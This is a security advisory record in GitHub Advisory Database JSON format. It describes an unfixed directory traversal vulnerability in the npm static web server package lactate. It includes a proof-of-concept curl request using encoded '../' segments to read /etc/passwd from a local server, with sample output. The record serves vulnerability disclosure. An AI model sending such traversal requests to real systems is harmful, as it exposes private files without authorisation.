{"id":"GHSA-68gr-cmcp-g3mj","summary":"Directory Traversal in lactate","details":"A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.","modified":"2021-08-16T23:34:10Z","published":"2019-06-14T16:39:31Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2019-06-14T16:39:14Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/RetireJS/retire.js/commit/800c8140884eaa5753a49308f560c925fe97b9a5"},{"type":"WEB","url":"https://hackerone.com/reports/296645"},{"type":"WEB","url":"https://snyk.io/vuln/npm:lactate:20180123"},{"type":"WEB","url":"https://www.npmjs.com/advisories/560"}],"affected":[{"package":{"name":"lactate","ecosystem":"npm","purl":"pkg:npm/lactate"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.13.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/06/GHSA-68gr-cmcp-g3mj/GHSA-68gr-cmcp-g3mj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}